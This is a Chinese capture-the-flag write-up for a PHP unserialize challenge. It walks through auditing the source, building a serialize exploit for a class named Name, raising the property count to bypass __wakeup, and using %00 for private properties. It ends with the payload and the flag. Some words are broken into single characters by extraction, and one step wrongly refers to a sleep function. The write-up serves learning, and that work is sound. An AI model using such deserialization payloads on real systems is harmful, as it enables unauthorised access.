赞
踩
1.信息收集获取源代码/www.zip
2.放在phpstudy进行调试,直接输入任意select的值index是没有回显的,直接代码审计
通过index.php可以看到我们输入的参数select的值通过反序列化传入到了class.php
3.通过class.php我们可以知道,
u
s
e
r
n
a
m
e
和
username和
username和password是两个私有属性,无法直接修改,依据题意只有使用魔术函数__construct()的方法触发修改用户名和密码
4.理清题意后直接构造exp
<?php
class Name{
private $username = 'admin';
private $password = '100';
public function __construct($username,$password){
$this->username = $username;
$this->password = $password;
}
}
$Name = new Name('admin','100');
$payload = serialize($Name);
var_dump($payload);
?>
5.通过php访问获取到payload
http://127.0.0.1/eazyun/payload.php
6.因为题目中有__wakeup方法,需要通过改变属性值来绕过
通过将2的值变成3绕过sleep函数
O:4:"Name":3:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";s:3:"100";}
7.因为username和password是私有属性所以需要使用%00进行绕过
因为name是私有属性,故需要加%00进行绕过
O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";s:3:"100";}
8.最终构造出exp,成功获取flag
O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";s:3:"100";}
flag{e78d7aed-4e99-446b-9f23-273c92a9bb6f}
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。